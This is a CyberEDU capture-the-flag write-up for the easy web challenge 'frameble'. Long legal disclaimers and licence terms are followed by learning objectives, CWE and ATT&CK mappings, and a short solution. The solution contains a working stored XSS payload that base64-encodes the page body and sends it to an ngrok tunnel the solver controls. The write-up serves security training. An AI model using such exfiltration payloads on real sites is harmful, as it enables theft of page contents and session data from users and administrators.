Write-up and solution for frameble

TITLE	frameble
CATEGORY	web
AUTHOR	Betaflash
DIFFICULTY	easy
LAST CHANGE	27.07.2021

Disclaimer

These educational materials and resources are intended exclusively for information and discussion, with the aim of awareness of computer risks and threats but also the preparation of new generations of computer security specialists.

The content is developed by CyberEDU SRL and does not offer any guarantee of any kind regarding it to this information. In no case, the organizers and partners of CyberEDU SRL, or the contractors, or its subcontractors will not be liable for any damages, including, but not limited to, direct, indirect, special or subsequent damages resulting from any how it relates to this information, whether or not it is based on warranty, contract, offense or otherwise, whether or not it is through negligence and whether the injury was or is not not resulting from the results or dependence on information.

CyberEDU SRL does not approve any commercial product or service, including the subjects of the analysis. Any reference to specific commercial products, processes or services through service mark, trade mark, manufacturer or otherwise, does not constitute or imply approval, recommendation or favoring them by CyberEDU SRL.

CyberEDU SRL recommends the use of knowledge and technologies presented in these resources only for educational or professional purposes on computers, websites, servers, services or other computer systems you own or you are allowed to access and test, and only after obtaining explicit prior consent from the owners.

Use of techniques or tools presented in these materials against any systems, without the consent of the owners. In many countries illegal access or tentative unauthorised access to a computer system is considered a crime against security and the integrity of computer systems and data and may be punished by law.

Unless otherwise indicated, the CyberEDU SRL is our proprietary property and all source code, databases, functionality, software, website designs, audio, video, text, photographs, and graphics on the CyberEDU SRL (collectively, the “Content”) and the trademarks, service marks, and logos contained therein (the “Marks”) are owned or controlled by us or licensed to us, and are protected by copyright and trademark laws and various other intellectual property rights and unfair competition laws of the United States, foreign jurisdictions, and international conventions.

The Content and the Marks are provided on the CyberEDU SRL “AS IS” for your information and personal use only. Except as expressly provided in these Terms and Conditions, no part of the CyberEDU SRL and no Content or Marks may be copied, reproduced, aggregated, republished, uploaded, posted, publicly displayed, encoded, translated, transmitted, distributed, sold, licensed, or otherwise exploited for any commercial purpose whatsoever, without our express prior written permission.

Provided that you are eligible to use the CyberEDU SRL, you are granted a limited license to access and use the CyberEDU SRL and to download or print a copy of any portion of the Content to which you have properly gained access solely for your personal, non-commercial use. We reserve all rights not expressly granted to you in and to the CyberEDU SRL, the Content and the Marks.

Unless otherwise indicated, the content is our proprietary property and all source code, databases, functionality, software, website designs, audio, video, text, photographs, and graphics received from CyberEDU (collectively, the “Content”) and the trademarks, service marks, and logos contained therein (the “Marks”) are owned or controlled by us or licensed to us, and are protected by copyright and trademark laws and various other intellectual property rights and unfair competition laws of the Romania, foreign jurisdictions, and international conventions.

The Content and the Marks are provided on the CyberEDU SRL “AS IS” for your information and personal use only. Except as expressly provided in these Terms and Conditions, no part of the CyberEDU SRL and no Content or Marks

About the Challenge

Description

Just another OWASP Top 10 vulnerability.

Please note that the admin is live 24/7 to approve your posts.

Flag format: CTF{sha256}

Learning Objectives

- Practise crafting XSS payloads to evade filters
- Ability to fingerprint Web Application
- Ability to test for Stored Cross Site Scripting
- Practice ability to use burp suite tools.

Skills Required

OWASP WSTG

- WSTG-INFO-09: Fingerprint Web Application
- WSTG-ATHZ-03: Testing for Privilege Escalation
- WSTG-INPV-02: Testing for Stored Cross Site Scripting

CWE

- Reliance on Cookies without Validation and Integrity Checking - (565)
- URL Redirection to Untrusted Site (`Open Redirect`) - (601)
- Permissive Regular Expression - (625)

- Inclusion of Sensitive Information in Source Code - (540)
- Permissive List of Allowed Inputs - (183)

MITRE ATT&CK

- T1136:Exploitation for Privilege Escalation
- T1539: Steal Web Session Cookie

Walkthrough and solution

Hints

- Hint 1: Cross Site Scripting (XSS)

Detailed solution

A simple XSS Challenge, after you create an account and sign in, create a new post and check the fields for XSS.
As you can see the vulnerable field is body, now insert the following payload inside the body:

```
<script>
var exfil = document.getElementsByTagName("body")[0].innerHTML;
window.location.href="https://c3d9707d386e.ngrok.io?pgsrc=" + btoa(exfil);
</script>
```

The payload above sends the source code of the page the admin used to view my post to an URL which tunnels the request back to my computer. The flag could be found in the source code of that page.

References

- https://owasp.org/www-community/attacks/xss/
- https://ngrok.com/docs